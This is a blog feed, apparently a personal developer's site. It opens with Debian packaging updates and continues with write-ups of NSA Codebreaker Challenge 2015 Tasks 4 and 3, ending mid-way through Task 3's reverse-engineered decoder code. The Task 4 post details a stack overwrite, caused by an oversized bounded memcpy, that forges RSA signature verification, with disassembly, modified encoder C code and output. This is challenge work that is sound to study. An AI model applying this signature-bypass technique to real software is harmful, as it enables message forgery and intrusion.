<li>unstable/testing: 1.08.2+dfsg-1</li>
<li>buster-backports: 1.08.2+dfsg-1~bpo10+1</li>
</ul>
</li>
<li>
<p>Updated python-django-cas-client to latest upstream version (1.5.1) and did
some miscellaneous cleanup/maintenance of the packaging.</p>
<p>Versions:</p>
<ul>
<li>unstable/testing: 1.5.1-1</li>
</ul>
</li>
<li>
<p>Discovered an <a href="https://bugs.debian.org/934721">issue with sbuild</a> where the .changes file output by the
build was different from the .changes file passed to lintian. This meant
that the lintian results were sometimes different when lintian was run
via sbuild vs when it was run manually. Patch submitted.</p>
</li>
<li>
<p>Provided a <a href="https://bugs.debian.org/939080">patch for NuSOAP</a> to update deprecated class constructors.</p>
</li>
<li>
<p>Submitted a <a href="https://salsa.debian.org/ftp-team/website/merge_requests/3">merge request</a> to update the ftp-master website and replace
a reference to Buster as testing with Bullseye.</p>
</li>
</ul>
<h3>Axis2-C</h3>
<ul>
<li>
<p>Fixed bug <a href="https://issues.apache.org/jira/browse/AXIS2C-1619">AXIS2C-1619</a>: CVE-2012-6107: SSL/TLS Hostname validation</p>
<p>Commits:</p>
<ul>
<li>r1866225 - Perform SSL hostname validation</li>
<li>r1866245 - Add SSL host validation check to X509_V_OK code path</li>
</ul>
</li>
</ul>Free Software Activities (July 2019)2019-08-10T18:04:14-04:002019-08-10T18:04:14-04:00bbloughtag:billblough.net,2019-08-10:/blog/2019/08/10/free-software-activities-july-2019/<hr>
<h3>Debian</h3>
<ul>
<li>
<p>Bug <a href="https://bugs.debian.org/932626">932626</a>: passwordsafe — Non-English locales don't work due to
translation files being installed in the wrong directory.</p>
<p>The fixed versions are:</p>
<ul>
<li>unstable/testing: 1.06+dfsg-2</li>
<li>buster: 1.06+dfsg-1+deb10u1 (via <a href="https://bugs.debian.org/932945">932945</a>)</li>
<li>stretch: 1.00+dfsg-1+deb9u1 (via <a href="https://bugs.debian.org/932944">932944</a>)</li>
</ul>
</li>
<li>
<p>Bug <a href="https://bugs.debian.org/932947">932947</a>: file — The --mime-type flag fails on arm64 …</p></li></ul><hr>
<h3>Debian</h3>
<ul>
<li>
<p>Bug <a href="https://bugs.debian.org/932626">932626</a>: passwordsafe — Non-English locales don't work due to
translation files being installed in the wrong directory.</p>
<p>The fixed versions are:</p>
<ul>
<li>unstable/testing: 1.06+dfsg-2</li>
<li>buster: 1.06+dfsg-1+deb10u1 (via <a href="https://bugs.debian.org/932945">932945</a>)</li>
<li>stretch: 1.00+dfsg-1+deb9u1 (via <a href="https://bugs.debian.org/932944">932944</a>)</li>
</ul>
</li>
<li>
<p>Bug <a href="https://bugs.debian.org/932947">932947</a>: file — The --mime-type flag fails on arm64 due to seccomp</p>
<p>Recently, there was a <a href="https://lists.debian.org/debian-devel/2019/07/msg00391.html">message on debian-devel</a> about enabling seccomp
sandboxing for the file utility. While I knew that passwordsafe uses
file to determine some mime type information, testing on my development
box (which is amd64-based) didn't show any problems.</p>
<p>However, this was happening around the same time that I was preparing the
the fix for <a href="https://bugs.debian.org/932626">932626</a> as noted above. Lo and behold, when I
uploaded the fix, everything went fine except for on the arm64 architecture.
The build there failed due to the package's test suite failing.</p>
<p>After doing some troubleshooting on one of the arm64 porterboxes,
it was clear that the seccomp change to file was the culprit. I haven't
worked with arm64 very much, so I don't know all of the details. But based
on my research, it appears that arm64 doesn't implement the access() system
call, but uses faccessat() instead. However, in this case, seccomp was
allowing calls to access(), but <em>not</em> calls to faccessat(). This led to
the difference in behavior between arm64 and the other architectures.</p>
<p>So I filed the bug to let the maintainer know the details, in hopes that
the seccomp filters could be adjusted. However, it seems he took it as
the "final straw" with regard to some of the other problems he was hearing
about, and decided to revert the seccomp change altogether.</p>
<p>Once the change was reverted, I requested a rebuild of the failed passwordsafe
package on arm64 so it could be rebuilt against the fixed dependency
without doing another full upload.</p>
</li>
<li>
<p>I updated django-cas-server in unstable to 1.1.0, which is the latest upstream
version. I also did some miscellaneous cleanup/maintenance on the packaging.</p>
</li>
<li>
<p>I attended <a href="https://debconf19.debconf.org">DebConf19</a> in Curitiba, Brazil.</p>
<p>This was my 3rd DebConf, and my first trip to Brazil. Actually, it was my
first trip to anywhere in the Southern Hemisphere.</p>
<p>As usual, DebConf was quite enjoyable. From a technical perspective, there
were lots of interesting talks. I learned some new things, and was also
exposed to some new (to me) projects and techniques, as well as some new
ideas in general. It also gave me some ideas of other ways/places I could
potentially contribute to Debian.</p>
<p>From a social perspective, it was a good opportunity to see and spend time
with people that I normally only get to interact with via email or irc. I
also enjoyed being able to put faces/voices to names that I only see on mailing
lists. Even if I don't know or interact with them much, it really helps my
mental picture when I'm reading things they wrote. And of course, I met
some new people, too. It was nice to share stories and experiences over
food and drinks, or in the hacklabs.</p>
<p>If any of the DebConf team read this, thanks for your hard work. It was
another great DebConf.</p>
</li>
</ul>NSA Codebreaker Challenge 2015: Task 42016-08-01T21:43:36-04:002016-08-01T21:43:36-04:00bbloughtag:billblough.net,2016-08-01:/blog/2016/08/01/nsa-codebreaker-challenge-2015-task-4/<hr>
<p>This is the fourth and final post in my series on the NSA Codebreaker Challenge
2015, covering the fourth task of the challenge. If you haven't read them, you might
want to check out the posts on <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">Task 1</a>, <a href="/blog/2016/06/02/nsa-codebreaker-challenge-2015-task-2/">Task 2</a>, and <a href="/blog/2016/07/07/nsa-codebreaker-challenge-2015-task-3/">Task 3</a>.</p>
<h2>Task 4</h2>
<div class="highlight"><pre><span></span><code>A military organization has …</code></pre></div><hr>
<p>This is the fourth and final post in my series on the NSA Codebreaker Challenge
2015, covering the fourth task of the challenge. If you haven't read them, you might
want to check out the posts on <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">Task 1</a>, <a href="/blog/2016/06/02/nsa-codebreaker-challenge-2015-task-2/">Task 2</a>, and <a href="/blog/2016/07/07/nsa-codebreaker-challenge-2015-task-3/">Task 3</a>.</p>
<h2>Task 4</h2>
<div class="highlight"><pre><span></span><code>A military organization has inquired as to whether it would be possible to
spoof messages to the terrorists, making the messages appear to come from the
terror group's leadership. This capability would be a game-changer in their
efforts to disrupt and disband the organization. Program binaries and keys have
already been distributed throughout the terrorist organization, though, so
achieving this effect must be done only by modifying the message file. Your
mission is to investigate whether this is possible and, if so, provide a
message file that would spoof the following message while making it appear as
though it came from the leadership. The message will be sent to the same
high-ranking member that the message from Task 1 was originally sent to.
The message to encode is, "SENSITIVE MESSAGE: Leadership has arranged a meeting
with the local authorities to discuss partnering opportunities. As a
high-ranking member in our organization, your attendance is requested. Meet at
the city police station at 18:00. Be discreet, and come unarmed as to not draw
attention. Mention the pass code cpspxahyvss2s5101lho at the front desk to be
escorted in.". Use the template file from Task 3 to encode this message into.
</code></pre></div>
<p>Since it wasn't possible to rely on a modified binary or keys, the only
hope was to find a vulnerability in the existing binary that I could exploit
to override the signature verification. Fortunately, after some time digging
through the disassembly and following execution in gdb, I found just such
a vulnerability.</p>
<p>Due to a bug in the program's bounds checking, it was possible to overwrite the
result of the signature verification, and cause the verification to succeed
for arbitrary signatures.</p>
<p>On a successful call to <code>RSA_verify</code>, the program would store the value
<code>0x72d499eb</code> at a specific stack offset, as shown below.</p>
<div class="highlight"><pre><span></span><code><span class="p">...</span>
<span class="mi">804</span><span class="nl">a905</span><span class="p">:</span> <span class="n">e8</span> <span class="n">a6</span> <span class="mf">6f</span> <span class="mo">00</span> <span class="mo">00</span> <span class="n">call</span> <span class="mi">80518</span><span class="n">b0</span> <span class="o"><</span><span class="n">RSA_verify</span><span class="o">></span>
<span class="mi">804</span><span class="nl">a90a</span><span class="p">:</span> <span class="mi">8</span><span class="n">b</span> <span class="mi">7</span><span class="n">c</span> <span class="mi">24</span> <span class="mi">18</span> <span class="n">mov</span> <span class="n">edi</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="o">+</span><span class="mh">0x18</span><span class="p">]</span>
<span class="mi">804</span><span class="nl">a90e</span><span class="p">:</span> <span class="mi">83</span> <span class="n">f8</span> <span class="mo">01</span> <span class="n">cmp</span> <span class="n">eax</span><span class="p">,</span><span class="mh">0x1</span>
<span class="mi">804</span><span class="nl">a911</span><span class="p">:</span> <span class="mi">19</span> <span class="n">c0</span> <span class="n">sbb</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>
<span class="mi">804</span><span class="nl">a913</span><span class="p">:</span> <span class="n">f7</span> <span class="n">d0</span> <span class="n">not</span> <span class="n">eax</span>
<span class="mi">804</span><span class="nl">a915</span><span class="p">:</span> <span class="mi">25</span> <span class="n">eb</span> <span class="mi">99</span> <span class="n">d4</span> <span class="mi">72</span> <span class="n">and</span> <span class="n">eax</span><span class="p">,</span><span class="mh">0x72d499eb</span>
<span class="mi">804</span><span class="nl">a91a</span><span class="p">:</span> <span class="mi">89</span> <span class="mi">85</span> <span class="mi">84</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="n">mov</span> <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">ebp</span><span class="o">+</span><span class="mh">0x84</span><span class="p">],</span><span class="n">eax</span>
<span class="p">...</span>
</code></pre></div>
<p>Later, the program would copy the signature to a buffer located exactly 128 bytes
before the location where the verification result was stored. Normally this
would cause no problem, particularly since a bounds-checking version of
<code>memcpy</code> was used. However, in this case the destination buffer size was
incorrectly specified as 132 bytes (<code>0x84</code>) as shown below.</p>
<div class="highlight"><pre><span></span><code><span class="p">...</span>
<span class="mi">804</span><span class="nl">a938</span><span class="p">:</span> <span class="mi">8</span><span class="n">b</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">38</span> <span class="n">mov</span> <span class="n">eax</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="o">+</span><span class="mh">0x38</span><span class="p">]</span>
<span class="mi">804</span><span class="nl">a93c</span><span class="p">:</span> <span class="mi">89</span> <span class="mi">74</span> <span class="mi">24</span> <span class="mo">04</span> <span class="n">mov</span> <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="o">+</span><span class="mh">0x4</span><span class="p">],</span><span class="n">esi</span>
<span class="mi">804</span><span class="nl">a940</span><span class="p">:</span> <span class="n">c7</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">0</span><span class="n">c</span> <span class="mi">84</span> <span class="mo">00</span> <span class="mo">00</span> <span class="n">mov</span> <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="o">+</span><span class="mh">0xc</span><span class="p">],</span><span class="mh">0x84</span>
<span class="mi">804</span><span class="nl">a947</span><span class="p">:</span> <span class="mo">00</span>
<span class="mi">804</span><span class="nl">a948</span><span class="p">:</span> <span class="mi">89</span> <span class="mi">44</span> <span class="mi">24</span> <span class="mi">08</span> <span class="n">mov</span> <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">],</span><span class="n">eax</span>
<span class="mi">804</span><span class="nl">a94c</span><span class="p">:</span> <span class="mi">8</span><span class="n">d</span> <span class="mi">45</span> <span class="mo">04</span> <span class="n">lea</span> <span class="n">eax</span><span class="p">,[</span><span class="n">ebp</span><span class="o">+</span><span class="mh">0x4</span><span class="p">]</span>
<span class="mi">804</span><span class="nl">a94f</span><span class="p">:</span> <span class="mi">89</span> <span class="mo">04</span> <span class="mi">24</span> <span class="n">mov</span> <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="p">],</span><span class="n">eax</span>
<span class="mi">804</span><span class="nl">a952</span><span class="p">:</span> <span class="n">e8</span> <span class="mi">89</span> <span class="n">ed</span> <span class="n">ff</span> <span class="n">ff</span> <span class="n">call</span> <span class="mf">80496e0</span> <span class="o"><</span><span class="n">__memcpy_chk</span><span class="err">@</span><span class="n">plt</span><span class="o">></span>
<span class="mi">804</span><span class="nl">a957</span><span class="p">:</span> <span class="mi">8</span><span class="n">b</span> <span class="mi">75</span> <span class="mo">00</span> <span class="n">mov</span> <span class="n">esi</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">ebp</span><span class="o">+</span><span class="mh">0x0</span><span class="p">]</span>
<span class="mi">804</span><span class="nl">a95a</span><span class="p">:</span> <span class="mi">81</span> <span class="n">bd</span> <span class="mi">84</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="n">eb</span> <span class="n">cmp</span> <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">ebp</span><span class="o">+</span><span class="mh">0x84</span><span class="p">],</span><span class="mh">0x72d499eb</span>
<span class="p">...</span>
</code></pre></div>
<p>Since the length of the data copied was based on the size of the signature
read, simply appending 4 additional bytes to the signature would cause the
results of the signature verification stored on the stack to be overwritten
with the chosen value. In this case, the value that needed to be appended
was <code>0x72d499eb</code>.</p>
<div class="highlight"><pre><span></span><code> <span class="kt">char</span> <span class="n">rawsig</span><span class="p">[</span><span class="n">BUFSIZ</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="sc">'\0'</span><span class="p">};</span>
<span class="kt">size_t</span> <span class="n">rawsig_sz</span> <span class="o">=</span> <span class="n">BUFSIZ</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RSA_sign</span><span class="p">(</span><span class="n">NID_sha224</span><span class="p">,</span> <span class="n">digest</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="n">rawsig</span><span class="p">,</span> <span class="o">&</span><span class="n">rawsig_sz</span><span class="p">,</span> <span class="n">x</span><span class="p">))</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"failed to sign message</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">rawsig</span><span class="p">[</span><span class="n">rawsig_sz</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xEB</span><span class="p">;</span>
<span class="n">rawsig</span><span class="p">[</span><span class="n">rawsig_sz</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x99</span><span class="p">;</span>
<span class="n">rawsig</span><span class="p">[</span><span class="n">rawsig_sz</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0xD4</span><span class="p">;</span>
<span class="n">rawsig</span><span class="p">[</span><span class="n">rawsig_sz</span><span class="o">++</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x72</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">encsig</span><span class="p">[</span><span class="n">BUFSIZ</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="sc">'\0'</span><span class="p">};</span>
<span class="kt">size_t</span> <span class="n">encsig_sz</span> <span class="o">=</span> <span class="n">BUFSIZ</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">base64encode</span><span class="p">(</span><span class="n">rawsig</span><span class="p">,</span> <span class="n">rawsig_sz</span><span class="p">,</span> <span class="n">encsig</span><span class="p">,</span> <span class="n">encsig_sz</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"failed base64encode"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">encsig_sz</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">encsig</span><span class="p">);</span>
</code></pre></div>
<p>Note that since the value would be written directly to the stack, it needed
to be in little-endian byte order to work on x86 systems.</p>
<p>Once the encoder was modified, it was just a matter of encoding the message
and testing the message with the binary and key from <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">Task 1</a></p>
<div class="highlight"><pre><span></span><code>user@host:~/nsa_codebreaker_2015/task_4$ ./encode tier3_private.pem message_in.txt tier3_template.txt > secret-message.txt
user@host:~/nsa_codebreaker_2015/task_4$ ../task_1/secret-messenger --reveal --symbol ../task_1/tier1_key.pem --action secret-message.txt
*****SIGNATURE IS VALID*****
Message: SENSITIVE MESSAGE: Leadership has arranged a meeting with the local authorities to discuss partnering opportunities. As a high-ranking member in our organization, your attendance is requested. Meet at the city police station at 18:00. Be discreet, and come unarmed as to not draw attention. Mention the pass code cpspxahyvss2s5101lho at the front desk to be escorted in.
*****SIGNATURE IS VALID*****
</code></pre></div>
<p>This completed Task 4 and the challenge.</p>
<h2>Closing Thoughts</h2>
<p>This challenge was difficult, but quite fun. <a href="/blog/2016/07/07/nsa-codebreaker-challenge-2015-task-3/">Task 3</a> in particular really
pushed me out of my comfort zone. However, it was great practice, and an
awesome experience. I'm looking forward to doing more of this in the future.</p>
<p>Kudos to the folks at the <a href="https://www.nsa.gov/">NSA</a> who developed this.</p>NSA Codebreaker Challenge 2015: Task 32016-07-07T20:16:19-04:002016-07-07T20:16:19-04:00bbloughtag:billblough.net,2016-07-07:/blog/2016/07/07/nsa-codebreaker-challenge-2015-task-3/<hr>
<p>This is the third post in my series on the NSA Codebreaker Challenge 2015,
covering the third task of the challenge. If you haven't read them, you might
want to check out the posts on <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">Task 1</a> and <a href="/blog/2016/06/02/nsa-codebreaker-challenge-2015-task-2/">Task 2</a>.</p>
<h2>Task 3</h2>
<div class="highlight"><pre><span></span><code> The copy of the program you have is …</code></pre></div><hr>
<p>This is the third post in my series on the NSA Codebreaker Challenge 2015,
covering the third task of the challenge. If you haven't read them, you might
want to check out the posts on <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">Task 1</a> and <a href="/blog/2016/06/02/nsa-codebreaker-challenge-2015-task-2/">Task 2</a>.</p>
<h2>Task 3</h2>
<div class="highlight"><pre><span></span><code> The copy of the program you have is only capable of decoding secret
messages and lacks the ability to encode new messages to other operatives.
We need this capability in order to infiltrate the terrorist network and
send encoded messages. Your task is to develop an encoder tool that will
produce valid messages (i.e., should decode with an unmodified version of
the decoder.) This task will require you to reverse-engineer the decoding
logic in order to understand how to create new encoded messages. To
complete this task, you will need to encode the following message using the
provided keys and plaintext file, and upload the resulting message file.
Also, the message for this task should be destined to the same recipient as
the message in Task 1 (meaning it should decode in your decoder without any
modifications being necessary) but using the key file provided below.
The message to encode is, "Sir, Good news! We have developed a capability
to encode secret messages to help with OPERATION vq72hp4w2pkw7h28b4gg. We
are ready for our final tasking. VR, Codebreaker 3473469".
</code></pre></div>
<p>As the task says, in order to build an encoder we need to first understand the
decoder logic. This was definitely the most time consuming part of the entire
challenge, as it involved reverse engineering a significant portion of the
decoder binary. This meant a lot of staring at the program's disassembly and
converting it to an easier-to-work-with representation in C.</p>
<h3>The Decoder</h3>
<p>In order to make sure that I understood the decoder logic correctly, I decided
to actually build a working decoder. This allowed me to verify the correctness
of the logic by comparing my decoder's behavior with that of the decoder
provided in <a href="/blog/2016/04/28/nsa-codebreaker-challenge-2015/">Task 1</a>.</p>
<p>To begin the process, I used <code>objdump</code> to disassemble the binary. This resulted
in over three hundred thousand lines of assembly. Fortunately, the binary had
not been stripped of debug symbols, so function names were included in the
output. This made it easy to ignore the vast majority of the code, and only
focus on functions that weren't related to openssl, curl, or the standard library.
After weeding out all of the various library functions, there were 945 lines of
assembly remaining. It belonged to the following functions:</p>
<div class="highlight"><pre><span></span><code>08049c70 <main>:
0804a120 <get_file_contents>:
0804a1e0 <writefunc>:
0804a270 <init_string>:
0804a2d0 <normal>:
0804a590 <Base64Decode>:
0804a600 <tier2>:
</code></pre></div>
<p>Since the goal of the decoder is to understand the secret message logic, it
wasn't necessary to implement the decoder in the exact same way as the
original as long as it worked the same way when decoding messages. This meant
that I could ignore any code that related to file handling, curl, or the stock
price functionality. Reading through the disassembly, it became apparent that I
could ignore all of the functions listed above except for <code>tier2</code> and
<code>Base64Decode</code>. However, since base64 is well understood, <code>Base64Decode</code> could
be disregarded as well, as it would be straightforward to either
reimplement, or find a library which provides the functionality.</p>
<p>To reverse engineer the remaining function, I systematically read chunks of
the disassembly and annotated them with the equivalent <code>C</code> code.</p>
<div class="highlight"><pre><span></span><code><span class="p">...</span>
<span class="mi">804</span><span class="nl">a67c</span><span class="p">:</span> <span class="n">e8</span> <span class="mf">5f</span> <span class="n">f2</span> <span class="n">ff</span> <span class="n">ff</span> <span class="n">call</span> <span class="mf">80498e0</span> <span class="o"><</span><span class="n">strtok</span><span class="err">@</span><span class="n">plt</span><span class="o">></span>
<span class="mi">804</span><span class="nl">a681</span><span class="p">:</span> <span class="mi">85</span> <span class="n">c0</span> <span class="n">test</span> <span class="n">eax</span><span class="p">,</span><span class="n">eax</span>
<span class="mi">804</span><span class="nl">a683</span><span class="p">:</span> <span class="mi">89</span> <span class="n">c1</span> <span class="n">mov</span> <span class="n">ecx</span><span class="p">,</span><span class="n">eax</span> <span class="p">;</span> <span class="n">ecx</span> <span class="o">=</span> <span class="n">pstr</span>
<span class="mi">804</span><span class="nl">a685</span><span class="p">:</span> <span class="mf">0f</span> <span class="mi">84</span> <span class="n">bd</span> <span class="mo">03</span> <span class="mo">00</span> <span class="mo">00</span> <span class="n">je</span> <span class="mi">804</span><span class="n">aa48</span> <span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mh">0x448</span><span class="o">></span> <span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pstr</span><span class="p">)</span> <span class="k">goto</span> <span class="n">no_tokens</span>
<span class="mi">804</span><span class="nl">a68b</span><span class="p">:</span> <span class="mi">31</span> <span class="n">ed</span> <span class="n">xor</span> <span class="n">ebp</span><span class="p">,</span><span class="n">ebp</span> <span class="p">;</span> <span class="n">ebp</span> <span class="o">=</span> <span class="mi">0</span>
<span class="mi">804</span><span class="nl">a68d</span><span class="p">:</span> <span class="mi">31</span> <span class="n">ff</span> <span class="n">xor</span> <span class="n">edi</span><span class="p">,</span><span class="n">edi</span> <span class="p">;</span> <span class="n">edi</span> <span class="o">=</span> <span class="mi">0</span>
<span class="mi">804</span><span class="nl">a68f</span><span class="p">:</span> <span class="n">be</span> <span class="mo">07</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="n">mov</span> <span class="n">esi</span><span class="p">,</span><span class="mh">0x7</span> <span class="p">;</span> <span class="n">esi</span> <span class="o">=</span> <span class="mi">7</span>
<span class="mi">804</span><span class="nl">a694</span><span class="p">:</span> <span class="n">bb</span> <span class="mo">01</span> <span class="mo">00</span> <span class="mo">00</span> <span class="mo">00</span> <span class="n">mov</span> <span class="n">ebx</span><span class="p">,</span><span class="mh">0x1</span> <span class="p">;</span> <span class="n">ebx</span> <span class="o">=</span> <span class="mi">1</span>
<span class="p">;</span><span class="n">token_found</span>
<span class="mi">804</span><span class="nl">a699</span><span class="p">:</span> <span class="mi">89</span> <span class="mi">0</span><span class="n">c</span> <span class="mi">24</span> <span class="n">mov</span> <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="p">],</span><span class="n">ecx</span> <span class="p">;</span> <span class="n">esp</span> <span class="o">=</span> <span class="n">pstr</span>
<span class="mi">804</span><span class="nl">a69c</span><span class="p">:</span> <span class="mi">89</span> <span class="mi">4</span><span class="n">c</span> <span class="mi">24</span> <span class="mi">18</span> <span class="n">mov</span> <span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="o">+</span><span class="mh">0x18</span><span class="p">],</span><span class="n">ecx</span> <span class="p">;</span> <span class="n">esp_18</span> <span class="o">=</span> <span class="n">pstr</span>
<span class="mi">804</span><span class="nl">a6a0</span><span class="p">:</span> <span class="n">e8</span> <span class="n">bb</span> <span class="n">f0</span> <span class="n">ff</span> <span class="n">ff</span> <span class="n">call</span> <span class="mi">8049760</span> <span class="o"><</span><span class="n">strlen</span><span class="err">@</span><span class="n">plt</span><span class="o">></span> <span class="p">;</span> <span class="n">strlen</span><span class="p">(</span><span class="n">pstr</span><span class="p">)</span>
<span class="mi">804</span><span class="nl">a6a5</span><span class="p">:</span> <span class="mi">8</span><span class="n">b</span> <span class="mi">4</span><span class="n">c</span> <span class="mi">24</span> <span class="mi">18</span> <span class="n">mov</span> <span class="n">ecx</span><span class="p">,</span><span class="n">DWORD</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">esp</span><span class="o">+</span><span class="mh">0x18</span><span class="p">]</span> <span class="p">;</span> <span class="n">ecx</span> <span class="o">=</span> <span class="n">pstr</span>
<span class="mi">804</span><span class="nl">a6a9</span><span class="p">:</span> <span class="mi">89</span> <span class="n">c2</span> <span class="n">mov</span> <span class="n">edx</span><span class="p">,</span><span class="n">eax</span> <span class="p">;</span> <span class="n">edx</span> <span class="o">=</span> <span class="n">len</span><span class="p">(</span><span class="n">str</span><span class="p">)</span>
<span class="mi">804</span><span class="nl">a6ab</span><span class="p">:</span> <span class="mi">83</span> <span class="n">ea</span> <span class="mo">01</span> <span class="n">sub</span> <span class="n">edx</span><span class="p">,</span><span class="mh">0x1</span> <span class="p">;</span> <span class="n">edx</span> <span class="o">=</span> <span class="n">len</span><span class="p">(</span><span class="n">str</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>
<span class="mi">804</span><span class="nl">a6ae</span><span class="p">:</span> <span class="mi">78</span> <span class="mi">24</span> <span class="n">js</span> <span class="mi">804</span><span class="n">a6d4</span> <span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mh">0xd4</span><span class="o">></span> <span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">edx</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">UNKNOWN1</span>
<span class="mi">804</span><span class="nl">a6b0</span><span class="p">:</span> <span class="mf">0f</span> <span class="n">b6</span> <span class="mi">44</span> <span class="mo">01</span> <span class="n">ff</span> <span class="n">movzx</span> <span class="n">eax</span><span class="p">,</span><span class="n">BYTE</span> <span class="n">PTR</span> <span class="p">[</span><span class="n">ecx</span><span class="o">+</span><span class="n">eax</span><span class="o">*</span><span class="mi">1</span><span class="mh">-0x1</span><span class="p">]</span> <span class="p">;</span> <span class="n">eax</span> <span class="o">=</span> <span class="n">pstr</span><span class="o">+</span><span class="n">len</span><span class="p">(</span><span class="n">str</span><span class="p">)</span><span class="mi">-1</span>
<span class="mi">804</span><span class="nl">a6b5</span><span class="p">:</span> <span class="mi">3</span><span class="n">c</span> <span class="mi">20</span> <span class="n">cmp</span> <span class="n">al</span><span class="p">,</span><span class="mh">0x20</span> <span class="p">;</span> <span class="k">if</span> <span class="n">eax</span> <span class="o">==</span> <span class="n">space</span>
<span class="mi">804</span><span class="nl">a6b7</span><span class="p">:</span> <span class="mi">74</span> <span class="mi">13</span> <span class="n">je</span> <span class="mi">804</span><span class="n">a6cc</span> <span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mh">0xcc</span><span class="o">></span> <span class="p">;</span> <span class="k">if</span> <span class="p">(</span><span class="n">eax</span> <span class="o">==</span> <span class="n">space</span><span class="p">)</span> <span class="k">goto</span> <span class="n">loop1</span>
<span class="mi">804</span><span class="nl">a6b9</span><span class="p">:</span> <span class="n">e9</span> <span class="mi">7</span><span class="n">d</span> <span class="mo">03</span> <span class="mo">00</span> <span class="mo">00</span> <span class="n">jmp</span> <span class="mi">804</span><span class="n">aa3b</span> <span class="o"><</span><span class="n">tier2</span><span class="o">+</span><span class="mh">0x43b</span><span class="o">></span> <span class="p">;</span> <span class="k">goto</span> <span class="n">not_space</span>
<span class="p">...</span>
</code></pre></div>
<p>Once a sizable chunk was completely annotated, I moved the <code>C</code> into the source
file for the new decoder</p>
<div class="highlight"><pre><span></span><code><span class="p">...</span>
<span class="n">ptok</span> <span class="o">=</span> <span class="n">strtok</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ptok</span><span class="p">)</span> <span class="k">goto</span> <span class="n">no_tokens</span><span class="p">;</span>
<span class="n">ebp</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">edi</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">esi</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="n">ebx</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nl">start_at_end</span><span class="p">:</span>
<span class="n">pos</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">ptok</span><span class="p">);</span>
<span class="n">pos</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">pos</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">end_loop_1</span><span class="p">;</span>
<span class="n">c</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">ptok</span> <span class="o">+</span> <span class="n">pos</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">c</span> <span class="o">==</span> <span class="sc">' '</span><span class="p">)</span> <span class="k">goto</span> <span class="n">next_char</span><span class="p">;</span>
<span class="k">goto</span> <span class="n">not_space</span><span class="p">;</span>
<span class="nl">next_char</span><span class="p">:</span>
<span class="n">pos</span> <span class="o">-=</span> <span class="mi">1</span><span class="p">;</span>
